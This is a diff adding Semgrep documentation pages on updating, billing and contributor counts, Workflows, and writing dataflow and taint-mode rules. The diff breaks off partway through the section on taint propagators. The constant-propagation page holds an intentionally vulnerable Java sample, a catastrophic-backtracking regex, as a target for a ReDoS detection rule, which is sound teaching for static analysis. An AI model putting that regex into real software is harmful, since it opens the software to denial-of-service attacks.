@@ -0,0 +1,29 @@
+---
+title: "Update Semgrep"
+description: "Stay up-to-date by running the latest version of Semgrep automatically in CI or your local CLI."
+---
+
+For Docker users, enter the following commands:
+
+```bash
+docker pull semgrep/semgrep:latest
+
+# confirm your Semgrep installation
+docker run --rm semgrep/semgrep semgrep --version
+```
+
+You can also use the following commands in either your CLI or CI environment:
+
+```bash
+# macOS users only, using Homebrew
+brew upgrade semgrep
+
+# macOS, Linux, or Windows users using pipx (recommended)
+pipx upgrade semgrep
+
+# Or, using uv
+uv tool upgrade semgrep
+
+# confirm your Semgrep installation
+semgrep --version
+```
diff --git a/mintlify-docs/usage-and-billing/contributor-count-explained.mdx b/mintlify-docs/usage-and-billing/contributor-count-explained.mdx
new file mode 100644
index 0000000000..4499aef8b0
--- /dev/null
+++ b/mintlify-docs/usage-and-billing/contributor-count-explained.mdx
@@ -0,0 +1,66 @@
+---
+title: "How Semgrep calculates contributor count"
+sidebarTitle: "Calculate Semgrep contributor count"
+---
+
+This page explains how Semgrep calculates contributor count beyond the [basic billing definition](/usage-and-billing/overview#contributor-counts). It is intended to help explain why Semgrep's contributor count may differ from your organization's internal estimate, and how Semgrep reduces double-counting when using repository history.
+
+## Why contributor counts can be hard to calculate
+
+Raw commit history does not always cleanly map to unique people. The same contributor can appear under multiple identities over time, including:
+
+- Multiple company email addresses
+- Email aliases or formatting variations
+- GitHub-generated noreply addresses used in merge commits
+
+Repository history can also include bots and automation accounts that should not count as human contributors. To make contributor counts more accurate, Semgrep applies normalization, deduplication, and filtering steps to the underlying commit data.
+
+## How Semgrep reduces double-counting
+
+Semgrep uses commit metadata from scanned repositories to identify likely duplicate identities and count them once.
+
+This process can include:
+
+- normalizing common email variations
+- matching contributors who appear under multiple company domains
+- resolving GitHub noreply addresses back to known contributor identities when possible
+
+The goal is to better reflect distinct human contributors rather than counting every raw identity in commit history as a separate person.
+
+## How Semgrep handles personal email addresses
+
+Personal email addresses sometimes appear in repository history alongside company-managed identities. Personal emails are weak identifiers and are harder to match reliably across environments. Semgrep applies some filtering rules to reduce overcounting and also keeps a pre-filtered version of the data for auditing and comparison.
+
+- If the primary domain for the deployment is a company domain, Semgrep does not count contributors who appear only with personal email addresses. It still counts contributors who have at least one company email address.
+- If the primary domain for the deployment is a personal email domain, such as gmail.com, Semgrep counts only contributors whose email matches that domain. It does not count contributors who appear only with other personal email domains.
+- If Semgrep cannot identify a primary domain, it does not apply personal email filtering.
+
+## How Semgrep handles bots and automation accounts
+
+Contributor count is intended to measure human contributors, not automated systems. Semgrep excludes known bot and automation accounts from the calculation using maintained exclusion lists informed by bot-related patterns in commit metadata.
+
+## Public and private repositories
+
+Public GitHub repositories that are explicitly set to be visible to everyone are excluded from contributor count calculations.
+
+All GitHub Enterprise Server repositories are treated as private for this purpose, regardless of visibility.
+
+## Why your internal estimate might differ
+
+Your internal estimate of contributors may differ from Semgrep’s for the following reasons:
+
+- One person appears under multiple identities in commit history
+- Bots or service accounts are present in raw repository data
+- Public repositories are excluded
+- Personal email addresses cannot always be matched reliably
+- Limited git history reduces the set of visible contributors
+
+Because of this, contributor count should be understood as a usage metric based on observed repository activity over a defined period.
+
+## Why git history matters
+
+Contributor count depends on the commit history available at scan time. If a checkout includes limited history, Semgrep might not see every contributor active during the full 90-day lookback window.
+
+## Questions about your contributor count
+
+If you have questions about your contributor count, contact [Semgrep support](/support) or your account manager
\ No newline at end of file
diff --git a/mintlify-docs/usage-and-billing/contributors.mdx b/mintlify-docs/usage-and-billing/contributors.mdx
new file mode 100644
index 0000000000..d5de3c9408
--- /dev/null
+++ b/mintlify-docs/usage-and-billing/contributors.mdx
@@ -0,0 +1,64 @@
+---
+title: "How Semgrep calculates contributor count"
+---
+
+This page explains how Semgrep calculates contributor count beyond the [basic billing definition](/usage-and-billing/overview#contributor-counts). It is intended to help explain why Semgrep's contributor count may differ from your organization's internal estimate, and how Semgrep reduces double-counting when using repository history.
+
+## Why contributor counts can be hard to calculate
+
+Raw commit history does not always cleanly map to unique people. The same contributor can appear under multiple identities over time, including:
+- Multiple company email addresses
+- Email aliases or formatting variations
+- GitHub-generated noreply addresses used in merge commits
+
+Repository history can also include bots and automation accounts that should not count as human contributors. To make contributor counts more accurate, Semgrep applies normalization, deduplication, and filtering steps to the underlying commit data.
+
+## How Semgrep reduces double-counting
+
+Semgrep uses commit metadata from scanned repositories to identify likely duplicate identities and count them once.
+
+This process can include:
+- normalizing common email variations
+- matching contributors who appear under multiple company domains
+- resolving GitHub noreply addresses back to known contributor identities when possible
+
+The goal is to better reflect distinct human contributors rather than counting every raw identity in commit history as a separate person.
+
+## How Semgrep handles personal email addresses
+
+Personal email addresses sometimes appear in repository history alongside company-managed identities. Personal emails are weak identifiers and are harder to match reliably across environments. Semgrep applies some filtering rules to reduce overcounting and also keeps a pre-filtered version of the data for auditing and comparison.
+
+- If the primary domain for the deployment is a company domain, Semgrep does not count contributors who appear only with personal email addresses. It still counts contributors who have at least one company email address.
+- If the primary domain for the deployment is a personal email domain, such as gmail.com, Semgrep counts only contributors whose email matches that domain. It does not count contributors who appear only with other personal email domains.
+- If Semgrep cannot identify a primary domain, it does not apply personal email filtering.
+
+
+## How Semgrep handles bots and automation accounts
+
+
+Contributor count is intended to measure human contributors, not automated systems. Semgrep excludes known bot and automation accounts from the calculation using maintained exclusion lists informed by bot-related patterns in commit metadata.
+
+## Public and private repositories
+
+Public GitHub repositories that are explicitly set to be visible to everyone are excluded from contributor count calculations.
+
+All GitHub Enterprise Server repositories are treated as private for this purpose, regardless of visibility.
+
+## Why your internal estimate might differ
+
+Your internal estimate of contributors may differ from Semgrep’s for the following reasons:
+- One person appears under multiple identities in commit history
+- Bots or service accounts are present in raw repository data
+- Public repositories are excluded
+- Personal email addresses cannot always be matched reliably
+- Limited git history reduces the set of visible contributors
+
+Because of this, contributor count should be understood as a usage metric based on observed repository activity over a defined period.
+
+## Why git history matters
+
+Contributor count depends on the commit history available at scan time. If a checkout includes limited history, Semgrep might not see every contributor active during the full 90-day lookback window.
+
+## Questions about your contributor count
+
+If you have questions about your contributor count, contact [Semgrep support](/support) or your account manager
diff --git a/mintlify-docs/usage-and-billing/overview.mdx b/mintlify-docs/usage-and-billing/overview.mdx
new file mode 100644
index 0000000000..7b7f8bb830
--- /dev/null
+++ b/mintlify-docs/usage-and-billing/overview.mdx
@@ -0,0 +1,104 @@
+---
+title: " Usage and billing"
+description: "This document provides information on how Semgrep calculates usage for billing purposes and is intended for users with paid Semgrep Code, Supply Chain, or Secrets licenses."
+---
+
+
+## Contributor definition
+
+A **contributor** is someone who has made at least **one** commit to a Semgrep-scanned **private** repository within the last 90 days, starting from the **date of license purchase** if a license was purchased, or the date of account creation, for accounts using Semgrep within usage limits.
+
+Any Semgrep AppSec Platform scan counts towards the contributor total. This includes:
+
+- Scanning with Semgrep Code, Secrets, or Supply Chain
+- Full scans on a repository or partial scans on a pull request or merge request
+
+Semgrep computes contributor counts for any scan initiated by a logged-in user running `semgrep ci` or `semgrep scan`. The `semgrep scan` command is subject to the usage limit when invoked by a logged-in contributor.
+
+
+**FREE LICENSE**
+
+Semgrep Code and Semgrep Supply Chain are free for organizations with **10 or fewer** monthly contributors. If your organization needs Code and Supply Chain licenses for more than 10 contributors, you must purchase **Team** licenses.
+
+
+### Contributor counts
+
+Semgrep calculates contributor counts using information from the `git log` over a rolling 90-day period. The start date is either:
+
+- The date of your license purchase
+- The date of your account creation, if you and your team are within usage limits
+
+Semgrep tries to exclude **bots** and other automations as much as possible. Learn more about [how Semgrep calculates contributors](/usage-and-billing/contributor-count-explained).
+
+#### Contributor usage across multiple Semgrep organizations
+
+If your company creates multiple Semgrep organizations, the contributor limit applies to all of them. For example, if your company creates three Semgrep organizations, each with the following number of contributors:
+
+- Organization 1 has 8 contributors
+- Organization 2 has 9 contributors
+- Organization 3 has 10 contributors
+
+Your company has 27 contributors across three organizations, so you need licenses for all 27.
+
+#### Small teams and startup licensing
+
+Small teams may be eligible for Semgrep's discounted startup pricing. Fill out the [ startup pricing](https://semgrep.dev/contact/contact-us-startups) form to apply.
+
+## AI credits
+
+Each Semgrep license, regardless of plan, includes a monthly allocation of AI credits for AI-powered features.
+
+| Plan | AI credits per month |
+| :--- | :--- |
+| Free | 60 credits per month |
+| Team | 20 credits per contributor per month |
+| Enterprise | 50 credits per contributor per month |
+
+If you have a **Team** or **Enterprise** plan, you can purchase additional credits as needed in increments of 10,000 credits.
+
+Entitlement credits, or the credits that come with your Semgrep licenses, expire at the end of your contract and do *not* roll over. Credits that you purchase expire at the end of your contract, but they can be rolled over once to the following year.
+
+### Credits required for AI actions
+
+The following table lists the credits required for AI-powered features:
+
+| Feature | AI credits required |
+| :--- | :--- |
+| AI-powered pull request or merge request comments | 0 credits |
+| AI analysis* | 1 credit per finding |
+| AI autofix | 20 credits per finding |
+| AI-powered detection scanning** | Variable per scan |
+
+*Includes autotriage, remediation guidance, and component tagging
+
+**AI-powered detection scans use a variable number of credits per scan. Credit use depends on scan size and complexity, so larger or more complex scans may use more credits.
+
+## How to determine your plan needs
+
+Within your team or organization, assess the number of **contributors**. Contributors are members of your organization who make commits. That determines the number of **licenses** needed for the plan purchase.
+
+For example, if a project has 4 unique contributors who create commits during the billing period while Semgrep is scanning their repositories, only 4 licenses are required, even if the organization has 10 members. Contributors are counted only once, even if they commit to many projects within the same organization, so no additional licenses are required.
+
+All members of the organization, regardless of contributor (license) status, have access to paid features for the chosen tier. This means that project managers and other non-programming roles can still view the Semgrep AppSec Platform dashboard.
+
+### Determine AI credit requirements
+
+Contact Semgrep if you would like assistance determining the number of credits your organization needs in a year.
+
+## Excess usage
+
+Semgrep scans stop if you have too many contributors. You can resume scanning by:
+
+- Purchasing additional licenses. See [Additional usage and reconciliation of licenses] for additional information on how these purchases affect your account.
+- Waiting for the next billing cycle, which is when your usage limits reset.
+
+If you're using a free license, Semgrep automatically starts a free trial of the **Teams** plan for you if it is the first time that you exceed your usage limits.
+
+There are no contributor limits on public projects.
+
+### Exceeding your AI credit allotment
+
+If you exceed your allotment of AI credits:
+
+- AI autotriage continues to work, but you'll be warned that you're over your credit allotment
+- Both AI scans and autofixes stop
diff --git a/mintlify-docs/usage-and-billing/plan-changes-and-payments.mdx b/mintlify-docs/usage-and-billing/plan-changes-and-payments.mdx
new file mode 100644
index 0000000000..6287c5c068
--- /dev/null
+++ b/mintlify-docs/usage-and-billing/plan-changes-and-payments.mdx
@@ -0,0 +1,37 @@
+---
+title: "Upgrade your Semgrep subscription plan"
+description: "To upgrade your Semgrep subscription from the **Free** plan to the **Team** plan using a credit card as the payment method:"
+---
+
+
+
+
+ Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+ Go to **Settings > Usage & billing**.
+
+
+ Choose the products that you want to upgrade, and click **Upgrade**.
+
+
+ Review the details of your order, and ensure that the number of licenses you're purchasing is accurate.
+
+
+ Provide your payment details, and click **Subscribe**.
+
+
+
+To purchase licenses for Semgrep Secrets or to upgrade to the **Enterprise** plan, contact [Semgrep Sales](mailto:sales@semgrep.com).
+
+## Billing
+
+Users with the **Team** plan who pay using a credit card are charged monthly. Payments are processed through Stripe. To change the credit card on file for your Semgrep account, contact [Semgrep billing](mailto:billing@semgrep.com).
+
+If you would like to pay through a purchase order or invoice, contact [Semgrep billing](mailto:billing@semgrep.com).
+
+Enterprise plan users are charged on an agreed-upon billing cycle. For any concerns, including questions about custom payment methods and billing cycles, contact [Semgrep Sales](mailto:sales@semgrep.com).
+
+## Modify or cancel your plan
+
+To modify or cancel your plan, contact [Semgrep billing](mailto:billing@semgrep.com).
diff --git a/mintlify-docs/usage-and-billing/reconciliation.mdx b/mintlify-docs/usage-and-billing/reconciliation.mdx
new file mode 100644
index 0000000000..a89a90adec
--- /dev/null
+++ b/mintlify-docs/usage-and-billing/reconciliation.mdx
@@ -0,0 +1,16 @@
+---
+title: "Additional usage and reconciliation of licenses"
+description: "If your organization uses more licenses than purchased for the contract period, you will be charged for each extra license starting the month after the overage occurs. "
+---
+
+
+Contact your Semgrep Account Executive if you need more licenses than initially purchased.
+
+## Example of license reconciliation
+
+On January 21, you purchased annual licenses of Semgrep Supply Chain’s Team tier for 50 developers. The twenty-first of the month is the start date of the annual contract. The contract started that day. On February 28, you used 70 licenses, exceeding your original purchase by 20. This requires a contract adjustment.
+
+Contract adjustment:
+
+- Because the organization’s usage exceeded the allocated licenses on February 28, March 21 is designated as the adjustment date in accordance with contract terms and reflects the 10 months remaining in the contract.
+- The extra charge is the cost per developer multiplied by 10 months and 20 users.
diff --git a/mintlify-docs/workflows/overview.mdx b/mintlify-docs/workflows/overview.mdx
new file mode 100644
index 0000000000..fd8edaba9a
--- /dev/null
+++ b/mintlify-docs/workflows/overview.mdx
@@ -0,0 +1,51 @@
+---
+title: "Semgrep Workflows (beta)"
+sidebarTitle: "Workflows (beta)"
+description: "Semgrep Workflows is a framework for building automated code security pipelines that allow you to detect, triage, and remediate security issues."
+---
+
+Each workflow is a series of steps, defined in Python, that include deterministic tools such as Semgrep Code, Supply Chain, and Secrets, as well as Semgrep Multimodal. You can also integrate third-party tools and any custom tooling required. Once you’ve defined your workflow, Semgrep handles its deployment and execution at scale.
+
+
+
+
+
+As input, Semgrep workflows take your project code and security context. This includes your organization's risk tolerance, findings triage rules, and other internal security program logic and definitions. The workflow is triggered by actions such as:
+
+- The opening of a pull request (PR) or a merge request (MR)
+- A scheduled scan
+- An API call
+
+Semgrep then runs security tools, such as static analysis, software composition analysis, and secrets detection, and applies LLM-backed analysis on your project. The resulting security findings, triage decisions, research artifacts, and code changes are provided to you in a structured, actionable format.
+
+## Types of workflows
+
+Semgrep provides built-in workflows you can run immediately, or you can define custom ones for your organization's needs. All workflows deploy on Semgrep’s managed infrastructure, minimizing your operational overhead.
+
+Semgrep's **pre-built workflows**, covering common use cases, include:
+
+- **Insecure direct object references (IDORs) and broken authorization**: combine static analysis and AI detection to find broken authorization, authentication bypasses, insecure access patterns, and other business logic issues
+- **Triage**: filter out false positives from your results to help your security teams prioritize real issues
+- **Autofix**: turn dependency findings into actionable remediation guidance, including information on whether the upgrade is safe or requires code modification
+
+You can integrate any of these workflows individually, combine them to implement the functionality you need, or use them all to create an end-to-end security workflow for your organization. Alternatively, you can define **[custom workflows](#custom-workflows)** to meet your organization's needs. You can adapt a pre-built Semgrep workflow for your organization, or create entirely new ones using the Semgrep agent SDK.
+
+## Custom workflows
+
+Semgrep workflows are defined using Python and have a clear structure that includes steps, tool decorators, and standard control flow. This structure makes it straightforward for AI assistants to generate, modify, and extend your workflows -- you can describe what you want your workflow to do in natural language, and the AI assistant presents you with a draft workflow.
+
+You can run workflows locally for testing and iteration, on Kubernetes with a single deploy command, or through CI/CD systems like GitHub Actions or GitLab CI. Semgrep’s managed infrastructure handles orchestration, optimization, and monitoring regardless of deployment method.
+
+Custom workflow patterns include, but aren't limited to, the following:
+
+| Workflow | Description |
+| :--- | :--- |
+| Detection | combine Semgrep with other security tools, project code context, and LLM-assisted reasoning to identify patterns that your organization deems important but can't be categorized neatly into generic, out-of-the-box rules |
+| Policies | encode internal security and compliance logic, then run it across multiple environments and repositories |
+| Remediation | generate upgrade guidance, code change suggestions, and PRs with the context developers need to fix issues safely |
+| Triage | review findings from a scanning tool while using repository context and custom review logic to produce decisions about the validity and priority of the findings |
+| Validation | review suspected issues with additional checks to determine if the issues are exploitable or worth escalating |
+
+## Get started
+
+To get started with your first automated workflows, [ contact Semgrep](mailto:sales@semgrep.com).
diff --git a/mintlify-docs/writing-rules/data-flow/constant-propagation.mdx b/mintlify-docs/writing-rules/data-flow/constant-propagation.mdx
new file mode 100644
index 0000000000..fe021257b2
--- /dev/null
+++ b/mintlify-docs/writing-rules/data-flow/constant-propagation.mdx
@@ -0,0 +1,125 @@
+---
+title: "Constant propagation"
+---
+
+Constant propagation tracks whether a variable \_must* carry a constant value at a given point in the program. Semgrep performs constant folding when matching literal patterns. Semgrep can track Boolean, numeric, and string constants.
+
+Semgrep AppSec Platform supports interprocedural (cross-function), interfile (cross-file) constant propagation. Semgrep Community Edition (CE) supports intrafile (single-file) constant propagation.
+
+
+
+
+
+## `metavariable-comparison`
+
+Using constant propagation, the [`metavariable-comparison`](/writing-rules/rule-syntax/#metavariable-comparison) operator works with any constant variable instead of just literals.
+
+
+
+
+
+## Mutable objects
+
+In general, Semgrep assumes that constant objects are immutable and won't be modified by function calls. This can lead to false positives, especially in languages where strings are mutable, such as C and Ruby.
+
+The only exceptions are method calls whose returning value is ignored. In these cases, Semgrep assumes that the method call may be mutating the object that's called. This helps reduce false positives in Ruby. For example:
+
+
+
+
+
+If constant propagation doesn't seem to work, consider whether the constant may be unexpectedly mutable. For example, given the following rule designed to taint the `REGEX` class variable:
+
+```yaml
+rules:
+ - id: redos-detection
+ message: Potential ReDoS vulnerability detected with $REGEX
+ severity: HIGH
+ languages:
+ - java
+ mode: taint
+ options:
+ symbolic_propagation: true
+ pattern-sources:
+ - patterns:
+ - pattern: $REDOS
+ - metavariable-analysis:
+ analyzer: redos
+ metavariable: $REDOS
+ pattern-sinks:
+ - pattern: Pattern.compile(...)
+```
+
+Semgrep fails to match its use in `Test2` when presented with the following code:
+
+```java
+import java.util.regex.Pattern;
+
+public String REGEX = "(a+)+$";
+
+public class Test2 {
+ public static void main(String[] args) {
+ Pattern pattern = Pattern.compile(REGEX);
+ }
+}
+```
+
+However, if you change the variable from `public` to `private`, Semgrep returns a match:
+
+```java
+import java.util.regex.Pattern;
+
+private String REGEX = "(a+)+$";
+
+public class Test2 {
+ public static void main(String[] args) {
+ Pattern pattern = Pattern.compile(REGEX);
+ }
+}
+```
+
+Because `REGEX` is public in the first code snippet, Semgrep doesn't propagate its value to other classes on the assumption that it could have mutated. However, in the second example, Semgrep understands that `REGEX` is private and only assigned to once. Therefore, Semgrep assumes it is immutable.
+
+The rule would also work with:
+
+```java
+...
+public final String REGEX = "(a+)+$";
+...
+```
+
+## Disable constant propagation
+
+You can disable constant propagation on a per-rule basis using rule [`options:`](/writing-rules/rule-syntax/#options) by setting `constant_propagation: false`.
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/writing-rules/data-flow/data-flow-overview.mdx b/mintlify-docs/writing-rules/data-flow/data-flow-overview.mdx
new file mode 100644
index 0000000000..f5efc44643
--- /dev/null
+++ b/mintlify-docs/writing-rules/data-flow/data-flow-overview.mdx
@@ -0,0 +1,42 @@
+---
+title: "Dataflow analysis engine overview"
+sidebarTitle: "Dataflow analysis"
+description: "Semgrep provides an intraprocedural data-flow analysis engine that opens various Semgrep capabilities. Semgrep provides the following data-flow analyses:"
+---
+
+- [Constant propagation](/writing-rules/data-flow/constant-propagation) allows Semgrep to, for example, match `return 42` against `return x` when `x` can be reduced to `42` by constant folding. There is also a specific experimental feature of [Constant propagation](/writing-rules/data-flow/constant-propagation), called [Symbolic propagation](/writing-rules/experiments/symbolic-propagation).
+- [Taint tracking (known also as taint analysis)](/writing-rules/data-flow/taint-mode/overview) enables you to write simple rules that catch complex [injection bugs](https://owasp.org/www-community/Injection_Flaws), such as those that can result in [cross-site scripting (XSS)](https://owasp.org/www-community/attacks/xss/).
+
+All dataflow-related features are available for Semgrep's [supported languages](/supported-languages). Interfile (cross-file) analysis also supports dataflow analysis. For more details, see [ Perform cross-file analysis](/semgrep-code/semgrep-pro-engine-intro).
+
+
+**INFO**
+
+Ensure that you understand the [design trade-offs](#design-trade-offs) and limitations of the dataflow engine. For further details, see [dataflow status](#data-flow-status).
+
+
+If you are interested in requesting a new dataflow analysis, please [let us know](https://github.com/semgrep/semgrep/issues/new/choose). If you can code in OCaml, your contribution is welcome. See [Contributing](/contributing/contributing) for more details.
+
+## Design trade-offs
+
+Semgrep strives for simplicity and offers lightweight and fast static analyses. In addition to being intraprocedural, here are some other trade-offs:
+
+- No path sensitivity: All _potential_ execution paths are considered, even though some may not be feasible.
+- No pointer or shape analysis: _Aliasing_ that happens in non-trivial ways may not be detected, such as through arrays or pointers. Individual elements in arrays or other data structures are not tracked. The dataflow engine supports limited field sensitivity for taint tracking, but not for constant propagation.
+- No soundness guarantees: Semgrep ignores the effects of `eval`-like functions on the program state. It doesn’t make worst-case sound assumptions, but rather "reasonable" ones.
+
+Expect both false positives and false negatives. You can remove false positives in different ways, such as using [pattern-not](/writing-rules/rule-syntax#pattern-not) and [pattern-not-inside](/writing-rules/rule-syntax#pattern-not-inside). If you encounter any problems, [create an issue](https://github.com/semgrep/semgrep/issues/new/choose) to open a feature request if Semgrep misses a difficult bug you want to catch.
+
+## Dataflow status
+
+In principle, the dataflow analysis engine, which provides taint tracking, constant propagation, and symbolic propagation, can run on any language [supported by Semgrep](/supported-languages). However, the level of support is lower than for the regular Semgrep matching engine.
+
+When Semgrep performs an analysis of the code, it creates an **abstract syntax tree** (AST), which is then translated into an analysis-friendly **intermediate language** (IL). Subsequently, Semgrep runs mostly language-agnostic analysis on IL. However, this translation is not fully complete.
+
+
+**CAUTION**
+
+There can be features of some languages that Semgrep does not analyze correctly while using dataflow analysis. Consequently, Semgrep does not fail even if it finds an unsupported construct. The analysis continues while the construct is ignored. This can result in Semgrep not matching some code that should be matched (false negatives) or matching a code that should not be matched (false positives).
+
+
+Please help Semgrep improve by [reporting any issues you encounter](https://github.com/semgrep/semgrep/issues/new/choose).
diff --git a/mintlify-docs/writing-rules/data-flow/status.mdx b/mintlify-docs/writing-rules/data-flow/status.mdx
new file mode 100644
index 0000000000..cb70fde3ee
--- /dev/null
+++ b/mintlify-docs/writing-rules/data-flow/status.mdx
@@ -0,0 +1,15 @@
+---
+title: "Dataflow status"
+---
+
+In principle, the dataflow analysis engine, which provides taint tracking, constant propagation, and symbolic propagation, can run on any language [supported by Semgrep](/supported-languages). However, the level of support is lower than for the regular Semgrep matching engine.
+
+When Semgrep performs an analysis of the code, it creates an **abstract syntax tree** (AST), which is then translated into an analysis-friendly **intermediate language** (IL). Subsequently, Semgrep runs mostly language-agnostic analysis on IL. However, this translation is not fully complete.
+
+
+**CAUTION**
+
+There can be features of some languages that Semgrep does not analyze correctly while using dataflow analysis. Consequently, Semgrep does not fail even if it finds an unsupported construct. The analysis continues while the construct is ignored. This can result in Semgrep not matching some code that should be matched (false negatives) or matching a code that should not be matched (false positives).
+
+
+Please help Semgrep improve by [reporting any issues you encounter](https://github.com/semgrep/semgrep/issues/new/choose).
diff --git a/mintlify-docs/writing-rules/data-flow/taint-mode/advanced.mdx b/mintlify-docs/writing-rules/data-flow/taint-mode/advanced.mdx
new file mode 100644
index 0000000000..de888f9cd0
--- /dev/null
+++ b/mintlify-docs/writing-rules/data-flow/taint-mode/advanced.mdx
@@ -0,0 +1,572 @@
+---
+title: "Advanced taint analysis techniques"
+---
+
+This page covers advanced taint analysis techniques for use when writing rules to catch complex injection bugs. If you are new to writing taint mode rules, begin with [Overview](/writing-rules/data-flow/taint-mode/overview).
+
+## Taint by side effect
+
+### Taint sources by side effect
+
+Consider the following Python code, where `make_tainted` is a function that makes its argument tainted by side effect:
+
+```python
+make_tainted(my_set)
+sink(my_set)
+```
+
+This kind of source can be specified by setting `by-side-effect: true`:
+
+```yaml
+pattern-sources:
+ - patterns:
+ - pattern: make_tainted($X)
+ - focus-metavariable: $X
+ by-side-effect: true
+```
+
+When `by-side-effect: true` is enabled and the source specification matches a variable, or more generally, an [l-value](https://en.wikipedia.org/wiki/Value_(computer_science)#lrvalue) exactly, then Semgrep assumes that the variable, or l-value, becomes tainted by side effect at the places where the source specification produces a match.
+
+
+
+
+
+The matched occurrences themselves are considered tainted; that is, the occurrence of `x` in `make_tainted(x)` is itself tainted too. If you do not want this to be the case, then set `by-side-effect: only` instead.
+
+
+**NOTE**
+
+You must use `focus-metavariable: $X` to focus the match on the l-value that you want to taint; otherwise, `by-side-effect` does not work.
+
+
+If the source doesn't set `by-side-effect`, then only the very occurrence of `x` in `make_tainted(x)` will be tainted, not the occurrence of `x` in `sink(x)`. The source specification matches only the first occurrence, and without `by-side-effect: true`, Semgrep does not recognize that `make_tainted` updates the variable `x` by side effect. Thus, a taint rule using such a specification does not produce any finding.
+
+
+
+Before the implementation of `by-side-effect`, the following example was the official workaround to obtain similar behavior:
+
+```yaml
+pattern-sources:
+- patterns:
+ - pattern-inside: |
+ make_tainted($X)
+ ...
+ - pattern: $X
+```
+
+This definition says that **every** occurrence of `$X` after `make_tainted($X)` must be considered a source. However, this approach has two main limitations:
+
+1. It overrides any sanitization that can be performed on the code matched by `$X`. In the example code below, the call `sink(x)` is reported as tainted despite `x` having been sanitized!
+
+ ```python
+ make_tainted(x)
+ x = sanitize(x)
+ sink(x) # false positive
+ ```
+
+2. The [`...` ellipses operator](/writing-rules/pattern-syntax/#ellipses-and-statement-blocks) has limitations. For example, in the code below, Semgrep does not match any finding if such a source specification is in use:
+
+ ```python
+if cond:
+ make_tainted(x)
+sink(x) # false negative
+ ```
+
+
+### Taint sanitizers by side-effect
+
+Consider the following Python code, where it is guaranteed that, after `check_if_safe(x)`, the value of `x` must be a safe one.
+
+```python
+x = source()
+check_if_safe(x)
+sink(x)
+```
+
+This kind of sanitizer can be specified by setting `by-side-effect: true`:
+
+```yaml
+pattern-sanitizers:
+ - patterns:
+ - pattern: check_if_safe($X)
+ - focus-metavariable: $X
+ by-side-effect: true
+```
+
+If you enable `by-side-effect` and the sanitizer specification matches a variable, or more generally, an l-value, exactly, Semgrep assumes that the variable or l-value is sanitized by side effect at the places where the sanitizer specification produces a match.
+
+
+
+
+
+If the sanitizer doesn't set by side effect, then only the very occurrence of `x` in `check_if_safe(x)` is sanitized and *not* the occurrence of `x` in `sink(x)`. The sanitizer specification matches only the first occurrence, and without `by-side-effect: true`, Semgrep doesn't know that `check_if_safe` updates and sanitizes the variable `x` by side effect. Thus, a taint rule using such a specification does produce a finding for `sink(x)` in the preceding example.
+
+
+**NOTE**
+
+Ensure that you use `focus-metavariable: $X` to focus the match on the l-value that you want to sanitize. Otherwise, `by-side-effect` does not work as expected.
+
+
+
+
+Before the implementation of `by-side-effect`, the following example was the official workaround to obtain similar behavior:
+
+```yaml
+pattern-sanitizers:
+- patterns:
+ - pattern-inside: |
+ check_if_safe($X)
+ ...
+ - pattern: $X
+```
+
+This specification tells Semgrep that **every** occurrence of `$X` after `check_if_safe($X)` must be considered sanitized.
+
+This approach has two main limitations:
+
+1. It overrides any further tainting that can be performed on the code matched by `$X`. In the following example, the call `sink(x)` is **not** reported as tainted despite `x` having been tainted:
+ ```python
+ check_if_safe(x)
+ x = source()
+ sink(x) # false negative
+ ```
+2. The [`...` ellipses operator](/writing-rules/pattern-syntax/#ellipses-and-statement-blocks) has limitations. For example, in the following code, Semgrep still returns matches despite `x` having been sanitized in both branches:
+ ```python
+ if cond:
+ check_if_safe(x)
+ else
+ check_if_safe(x)
+ sink(x) # false positive
+ ```
+
+
+
+## Taint function arguments
+
+### Taint function arguments as sources
+
+To specify that an argument of a function must be considered a taint source, you can write a pattern that matches the argument:
+
+```yaml
+pattern-sources:
+ - patterns:
+ - pattern-inside: |
+ def foo($X, ...):
+ ...
+ - focus-metavariable: $X
+```
+
+Note that the use of `focus-metavariable: $X` is essential, and using `pattern: $X` is **not** equivalent. With `focus-metavariable: $X`, Semgrep matches the formal parameter exactly. Click "Open in Playground" below and use "Inspect Rule" to visualize what the source is matching.
+
+
+
+
+
+The subsequent example defines the same behavior with a taint rule that uses `pattern: $X`. The `pattern: $X` does not match the formal parameter itself, but matches all its uses inside the function definition. Even if `x` is sanitized via `x = sanitize(x)`, the occurrence of `x` inside `sink(x)` is a taint source itself (due to `pattern: $X`) and so `sink(x)` is tainted.
+
+
+
+
+
+### Taint function arguments as sinks
+
+You can specify that only one, or a subset, of the arguments of a function is the actual sink by using `focus-metavariable`:
+
+```javascript
+pattern-sinks:
+ - patterns:
+ - pattern: sink($SINK, ...)
+ - focus-metavariable: $SINK
+```
+
+
+This rule causes Semgrep only to annotate the first parameter passed to `sink` as the sink, rather than the function `sink` itself. If taint goes into any other parameter of `sink`, then that is not considered a problem.
+
+
+
+
+
+Anything that you can match with Semgrep can be made into a sink, such as the index in an array access:
+
+```javascript
+pattern-sinks:
+ - patterns:
+ - pattern-inside: $ARRAY[$SINK]
+ - focus-metavariable: $SINK
+```
+
+
+
+**NOTE**
+
+If you specify a sink such as `sink(...)`, then any tainted data passed to `sink`, through any of its arguments, results in a finding.
+
+
+
+
+
+
+## Custom propagators
+
+To better understand custom propagators, consider the following Python code where an unsafe `user_input` is stored in a `set` data structure. A random element from `set` is then passed into a `sink` function. This random element can be `user_input` itself, leading to an injection vulnerability.
+
+
+```python
+def test(s):
+ x = user_input
+ s = set([])
+ s.add(x)
+ #ruleid: test
+ sink(s.pop())
+```
+
+The following rule cannot find the above-described issue. The reason is that Semgrep is not aware that executing `s.add(x)` makes `x` one of the elements in the set data structure `s`.
+
+```yaml
+mode: taint
+pattern-sources:
+- pattern: user_input
+pattern-sinks:
+- pattern: sink(...)
+```
+
+The use of **taint propagators** enables Semgrep to propagate taint in this scenario and others.
+
+Taint propagators are specified under the `pattern-propagators` key:
+
+```yaml
+pattern-propagators:
+- pattern: $S.add($E)
+ from: $E
+ to: $S
+```
+
+In the preceding example, Semgrep finds the pattern `$S.add($E)`, and it checks whether the code matched by `$E` is tainted. If it is tainted, Semgrep propagates that same taint to the code matched by `$S`. Thus, adding tainted data to a set marks the set itself as tainted.
+
+
+
+
+
+Note that `s` becomes tainted _by side effect_ after `s.add(x)`. This is due to `by-side-effect: true` being the default for propagators, and because `s` is an l-value.
+
+In general, a taint propagator must specify the following requirements:
+
+1. A pattern containing **two** metavariables. These two metavariables specify where taint is propagated **from** and **to**.
